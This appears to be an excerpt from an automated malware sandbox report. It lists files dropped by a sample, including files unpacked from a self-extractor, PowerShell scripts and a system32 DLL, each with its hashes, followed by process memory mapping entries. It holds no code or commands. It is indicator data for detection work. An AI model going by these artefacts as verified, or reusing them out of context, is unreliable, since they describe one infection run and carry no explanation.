SHA512aa4e4b112aa6cdbccbdd4628188884892fdedc85265a1e200018ef153e28728efc152858aad220757bc2b1277bd0f62bdd69cbcb462c891c8ceea2f3f18dfec5
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Dal.sldmMD5
5235b9055fca1ef1e45da0b1d53f401b
SHA162e818c2ca46305092d68752eec3d6ed80b68160
SHA256bacfad3241f5330ff486ca369970f94f0081fbcbfb3ac4eeae644d9b754d4f6b
SHA512fe393f9de2f18ee0523d52bc3e34329645e9fef9c8532a9d4e304f145f06e40857d13bf9ac144707a9ac25dac5b6414a3b07a03fec7d4e8140f0dbd3d75abf93
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comMD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comMD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comMD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comMD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Poggio.sldmMD5
c4b34368d437e6d227cbe5139a8f1416
SHA1ed15016ee57b2e6e3d4668a095806e32d685592b
SHA256e0528c0d484f3d3afddb474a48c3d53c9a21ea5545c4b5e84369ce7a689f553c
SHA512fa00eca26897559e11726023eb68111e8940a829fbfd1585891e62827ebd2b04696797288691c723b4f3d21fdeeb35d208fafaaf619d71516207ceda5906a219
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Possa.sldmMD5
363e8c9c9da283202a90df3e90347404
SHA1449acaedc750c531c8dab91632af2c3b2815d8d0
SHA256375772bbe8b62a7874620b1bdeab4b35df5a627f226eef622591d27abf85b49e
SHA512908c450639e168624a6da6e1e5c67e0d16866593f1a6d822ed280bdc1ea5c683856756b5dd7fd4b3af4e0c0d34e5c04acdae2d51f70fb82357222bf07968fe66
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Una.sldmMD5
524ec822b4a69c05cd16ddfd2b295015
SHA19081f4073fd49885df988a49b082af5fc751decf
SHA256b58c587a32f7d631e8db7f18066084a7435eb79eab837e638070e5391a74c5cc
SHA5121c863ada86ecaeee46a9d957879e725590064bceb5bc465df4003df60e071550427a687f47a6915c6857a48bef1f7f33d0f807b71f6e778bd19ef11fbfef8fcb
-
C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\jMD5
363e8c9c9da283202a90df3e90347404
SHA1449acaedc750c531c8dab91632af2c3b2815d8d0
SHA256375772bbe8b62a7874620b1bdeab4b35df5a627f226eef622591d27abf85b49e
SHA512908c450639e168624a6da6e1e5c67e0d16866593f1a6d822ed280bdc1ea5c683856756b5dd7fd4b3af4e0c0d34e5c04acdae2d51f70fb82357222bf07968fe66
-
C:\Users\Admin\AppData\Local\Temp\RES1AE0.tmpMD5
27f035b718b46d667309e3125e74c7fc
SHA1e01fbb27bd4de0a7217ee5af3e4a92bb5a353c04
SHA256153f65127fde03d5eafe393eee58575d97e7dc50b85caf2222c9729b816fe317
SHA5124e6cd393acd55c4198274c0948ffb46f5bd7916379069cfdac809bcb934566d0bf09ac34f1201b9d8e07599bb6a4e18b8dcfc4c5f5abfb3b8af3487f4c4e1966
-
C:\Users\Admin\AppData\Local\Temp\ready.ps1MD5
3447df88de7128bdc34942334b2fab98
SHA1519be4e532fc53a7b8fe2ae21c9b7e35f923d3bb
SHA2569520067abc34ce8a4b7931256e4ca15f889ef61750ca8042f60f826cb6cb2ac9
SHA5122ccf6c187c3e17918daadd1fc7ca6e7dfaf6b958468a9867cca233e3506906164dfeb6104c8324e09d3058b090eab22417695b001ddb84f3d98562aec05eb78f
-
C:\Users\Admin\AppData\Local\Temp\resolve-domain.PS1MD5
361c1c7a249cd0c5e1619d79d00c87b3
SHA1faad2c65ad86b2036b7b616870ccca9ce898dd89
SHA256e0cb26cfcae949c78d1fd36aa2cf6b77fbcd9e9514ce9b50443f9d11052fe44d
SHA5124674b34143d94a3c4d1abfe4b34f57ab5198599a3f54732d86d215a1ad65d4a58b12fd196a7a25cdff148e7aad6c9a67720abed63be5049c7743aebaa996373b
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
310e8bec97035551e75eba08f4a3ab27
SHA1fa294ec10bfc5a496c4f63399af4f173c72b8bef
SHA2563ac6a1f7bcb7b5a958dea677fe9dd7ba038277dc1996e1c5d7c71081c2df02e1
SHA512d739466b3ce8bea5651c768a26b381263336d46903c2a8c49d6620a3901e0256f800d8b8cf4754b7c2b7e564cf3141b175497636d4cb4c56a01834bd61f314f3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
310e8bec97035551e75eba08f4a3ab27
SHA1fa294ec10bfc5a496c4f63399af4f173c72b8bef
SHA2563ac6a1f7bcb7b5a958dea677fe9dd7ba038277dc1996e1c5d7c71081c2df02e1
SHA512d739466b3ce8bea5651c768a26b381263336d46903c2a8c49d6620a3901e0256f800d8b8cf4754b7c2b7e564cf3141b175497636d4cb4c56a01834bd61f314f3
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-msMD5
310e8bec97035551e75eba08f4a3ab27
SHA1fa294ec10bfc5a496c4f63399af4f173c72b8bef
SHA2563ac6a1f7bcb7b5a958dea677fe9dd7ba038277dc1996e1c5d7c71081c2df02e1
SHA512d739466b3ce8bea5651c768a26b381263336d46903c2a8c49d6620a3901e0256f800d8b8cf4754b7c2b7e564cf3141b175497636d4cb4c56a01834bd61f314f3
-
C:\Windows\system32\rfxvmt.dllMD5
dc39d23e4c0e681fad7a3e1342a2843c
SHA158fd7d50c2dca464a128f5e0435d6f0515e62073
SHA2566d9a41a03a3bd5362e3af24f97ba99d2f9927d1375e4f608942a712866d133b9
SHA5125cb75e04ce9f5c3714e30c4fd5b8dbcd3952c3d756556dd76206111fe5b4e980c6c50209ab0914ab3afe15bd9c33ff0d49463ca11547214122859918de2a58f7
-
\??\PIPE\lsarpcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\srvsvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\PIPE\wkssvcMD5
d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e
-
\??\c:\Users\Admin\AppData\Local\Temp\2qntlmqv\2qntlmqv.0.csMD5
4864fc038c0b4d61f508d402317c6e9a
SHA172171db3eea76ecff3f7f173b0de0d277b0fede7
SHA2560f5273b8fce9bfd95677be80b808119c048086f8e17b2e9f9964ae8971bd5a84
SHA5129e59e8bee83e783f8054a3ba90910415edacfa63cc19e5ded9d4f21f7c3005ca48c63d85ce8523a5f7d176aa5f8abafc28f824c10dbfb254eed1ce6e5f55bf31
-
\??\c:\Users\Admin\AppData\Local\Temp\2qntlmqv\2qntlmqv.cmdlineMD5
1b1765553d792d423e6fb9a90497c6b9
SHA17854d6d2978fc69a81d49c1ca4f15071a399f3dc
SHA256019443994c666f12ac2332118f0f7f43aec1475487df31d1cace6a202e8e955d
SHA512af62c39f24f81f658ae554aaf2c2df7438478070b3351b63cab73e3d66a4573de62e34f5611f1679a657925e7d1a5eda01a10f3649b649ffd61b2db8be37bf46
-
\??\c:\Users\Admin\AppData\Local\Temp\2qntlmqv\CSC4FECFC64BF44D11894BC5B16BA1FA8.TMPMD5
ae2115b1524de49688d38449a57d31a7
SHA1f56b7e5b428c1b00e53838b18038997289f4082c
SHA2564cb781d84d42b829a078c2dfee7c6fd1811af42764696a0e68b0dd35e8f61dff
SHA51268b1bbbaf8a0dd28ee3f47e028c367ba1f7e750b7780b0d1c0fa2232b23d162188039945d5f895dbcea1cd3bdc4d79bb5ba67bc3bd57160bd8ea4b139580a359
-
\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comMD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comMD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
\Users\Admin\AppData\Local\Temp\7ZipSfx.000\Lume.exe.comMD5
f83ab141e29899ceb5308dabde894a0e
SHA16ea46bb7102125fa5d39b77547dab28ec346e9f9
SHA256ce2fb05b7d6e31db76127521aac02d9b3d595058ba13687c4ad6c68088eb8d99
SHA512d79ccd447e15899efbc68e351d2500efc8ad6c106eb76565105e5eec3ace6a02435d6569d23efc65527d00c878eb22f4afabfdca440d9b573548e18fdea72847
-
\Windows\Branding\mediasrv.pngMD5
94737ef49a56072db42e11e7a4d5da86
SHA12201c98219d6dd56fcafbbfb99a257ab40601087
SHA256736e03291f00adb2fec71b1bcb1ef516b9d5e22d4da7cc635a6ab12f535642c6
SHA5124638a05fab7a3c64e30005ff7000a37bbc5d5b1d5aa292b30efd769c4d01b5332174ff50c70cc88ff3d2f5b8aab79263314c50d085d63f74364232db94542264
-
\Windows\Branding\mediasvc.pngMD5
18dae8555fba0d70e1849d3a0dbaa235
SHA162ce12aab0e9bd9e5c654de7c888c50314dca097
SHA25623a54b2f564a89844c91233943bde12183daf2c4c495471ac9393bddcc38834e
SHA512d99f7789cf6d42f214d9ca262718798da665e9d15376858dce1be0bb6e993908eaa98cc1acd20e7ee40b86b1ac1cd5c69df8c2d91ad75b36503a170cdfb2242f
-
memory/108-218-0x0000000000000000-mapping.dmp
-
memory/464-198-0x0000000000000000-mapping.dmp
-
memory/632-192-0x0000000000000000-mapping.dmp
-
memory/652-60-0x0000000000000000-mapping.dmp
-
memory/768-184-0x0000000000000000-mapping.dmp
-
memory/768-208-0x0000000000000000-mapping.dmp
-
memory/792-201-0x0000000000000000-mapping.dmp
-
memory/812-216-0x0000000000000000-mapping.dmp
-
memory/812-223-0x0000000000000000-mapping.dmp
-
memory/812-224-0x0000000019700000-0x0000000019702000-memory.dmpFilesize
8KB
-
memory/812-225-0x0000000019704000-0x0000000019706000-memory.dmpFilesize
8KB
-
memory/812-226-0x000000001970A000-0x0000000019729000-memory.dmpFilesize
124KB
-
memory/824-102-0x0000000000000000-mapping.dmp
-
memory/912-94-0x0000000002610000-0x0000000002611000-memory.dmpFilesize
4KB
-
memory/912-110-0x00000000028F0000-0x00000000028F1000-memory.dmpFilesize
4KB
-
memory/912-109-0x000000001C430000-0x000000001C431000-memory.dmpFilesize
4KB
-
memory/912-108-0x000000001B6B0000-0x000000001B6B1000-memory.dmpFilesize
4KB
-
memory/912-106-0x0000000002370000-0x0000000002371000-memory.dmpFilesize
4KB
-
memory/912-183-0x000000001C620000-0x000000001C621000-memory.dmpFilesize
4KB
-
memory/912-98-0x000000001B7C0000-0x000000001B7C1000-memory.dmpFilesize
4KB
-
memory/912-125-0x000000000287A000-0x0000000002899000-memory.dmpFilesize
124KB
-
memory/912-96-0x0000000002874000-0x0000000002876000-memory.dmpFilesize
8KB
-
memory/912-95-0x0000000002870000-0x0000000002872000-memory.dmpFilesize
8KB
-
memory/912-93-0x00000000024C0000-0x00000000024C1000-memory.dmpFilesize
4KB
-
memory/912-92-0x000000001AB50000-0x000000001AB51000-memory.dmpFilesize
4KB
-
memory/912-91-0x0000000002400000-0x0000000002401000-memory.dmpFilesize
4KB
-
memory/912-89-0x0000000000000000-mapping.dmp
-
memory/924-152-0x000000001ABE4000-0x000000001ABE6000-memory.dmpFilesize
8KB
-
memory/924-151-0x000000001ABE0000-0x000000001ABE2000-memory.dmpFilesize
8KB
-
memory/924-145-0x0000000000000000-mapping.dmp
-
memory/924-153-0x0000000002580000-0x0000000002581000-memory.dmpFilesize
4KB
-
memory/924-155-0x000000001B850000-0x000000001B851000-memory.dmpFilesize
4KB
-
memory/924-157-0x0000000002820000-0x0000000002821000-memory.dmpFilesize
4KB
-
memory/924-158-0x0000000002280000-0x0000000002281000-memory.dmpFilesize
4KB
-
memory/992-227-0x0000000000000000-mapping.dmp
-
memory/1052-212-0x0000000000000000-mapping.dmp
-
memory/1056-187-0x0000000000000000-mapping.dmp
-
memory/1080-80-0x0000000000460000-0x0000000000AB7000-memory.dmpFilesize
6.3MB
-
memory/1080-84-0x0000000000460000-0x0000000000AB7000-memory.dmpFilesize
6.3MB
-
memory/1080-87-0x0000000029676000-0x0000000029677000-memory.dmpFilesize
4KB
-
memory/1080-88-0x0000000029677000-0x0000000029678000-memory.dmpFilesize
4KB
-
memory/1080-86-0x0000000029674000-0x0000000029676000-memory.dmpFilesize
8KB
-
memory/1080-85-0x0000000029672000-0x0000000029674000-memory.dmpFilesize
8KB
-
memory/1080-82-0x0000000042C20000-0x0000000043041000-memory.dmpFilesize
4.1MB
-
memory/1140-195-0x0000000000000000-mapping.dmp
-
memory/1224-200-0x0000000000000000-mapping.dmp
-
memory/1224-221-0x0000000000000000-mapping.dmp
-
memory/1336-78-0x0000000000100000-0x0000000000101000-memory.dmpFilesize
4KB
-
memory/1336-73-0x0000000000000000-mapping.dmp
-
memory/1340-210-0x0000000000000000-mapping.dmp
-
memory/1376-215-0x0000000000000000-mapping.dmp
-
memory/1392-214-0x0000000000000000-mapping.dmp
-
memory/1392-196-0x0000000000000000-mapping.dmp
-
memory/1540-202-0x0000000000000000-mapping.dmp
-
memory/1584-197-0x0000000000000000-mapping.dmp
-
memory/1620-194-0x0000000000000000-mapping.dmp
-
memory/1620-220-0x0000000000000000-mapping.dmp
-
memory/1632-229-0x0000000000000000-mapping.dmp
-
memory/1668-189-0x0000000000000000-mapping.dmp
-
memory/1668-211-0x0000000000000000-mapping.dmp
-
memory/1684-180-0x000000001AD64000-0x000000001AD66000-memory.dmpFilesize
8KB
-
memory/1684-99-0x0000000000000000-mapping.dmp
-
memory/1684-166-0x0000000000000000-mapping.dmp
-
memory/1684-179-0x000000001AD60000-0x000000001AD62000-memory.dmpFilesize
8KB
-
memory/1688-190-0x0000000000000000-mapping.dmp
-
memory/1700-193-0x0000000000000000-mapping.dmp
-
memory/1708-205-0x0000000000000000-mapping.dmp
-
memory/1732-70-0x0000000000000000-mapping.dmp
-
memory/1748-62-0x0000000000000000-mapping.dmp
-
memory/1748-217-0x0000000000000000-mapping.dmp
-
memory/1752-63-0x0000000000000000-mapping.dmp
-
memory/1756-203-0x0000000000000000-mapping.dmp
-
memory/1768-213-0x0000000000000000-mapping.dmp
-
memory/1800-199-0x0000000000000000-mapping.dmp
-
memory/1860-209-0x0000000000000000-mapping.dmp
-
memory/1860-186-0x0000000000000000-mapping.dmp
-
memory/1876-204-0x0000000000000000-mapping.dmp
-
memory/1908-59-0x0000000075B31000-0x0000000075B33000-memory.dmpFilesize
8KB
-
memory/1956-130-0x000000001B5F0000-0x000000001B5F1000-memory.dmpFilesize
4KB
-
memory/1956-119-0x0000000002610000-0x0000000002611000-memory.dmpFilesize
4KB
-
memory/1956-121-0x000000001AA90000-0x000000001AA91000-memory.dmpFilesize
4KB
-
memory/1956-143-0x000000001B660000-0x000000001B661000-memory.dmpFilesize
4KB
-
memory/1956-118-0x000000001AC04000-0x000000001AC06000-memory.dmpFilesize
8KB
-
memory/1956-124-0x00000000023A0000-0x00000000023A1000-memory.dmpFilesize
4KB
-
memory/1956-111-0x0000000000000000-mapping.dmp
-
memory/1956-123-0x00000000026E0000-0x00000000026E1000-memory.dmpFilesize
4KB
-
memory/1956-144-0x000000001B670000-0x000000001B671000-memory.dmpFilesize
4KB
-
memory/1956-117-0x000000001AC00000-0x000000001AC02000-memory.dmpFilesize
8KB
-
memory/1964-67-0x0000000000000000-mapping.dmp
-
memory/1964-69-0x000007FEFC2E1000-0x000007FEFC2E3000-memory.dmpFilesize
8KB
-
memory/1984-228-0x0000000000000000-mapping.dmp
-
memory/1984-188-0x0000000000000000-mapping.dmp
-
memory/2004-191-0x0000000000000000-mapping.dmp
-
memory/2004-230-0x0000000000000000-mapping.dmp
-
memory/2020-219-0x0000000000000000-mapping.dmp
-
memory/2024-222-0x0000000000000000-mapping.dmp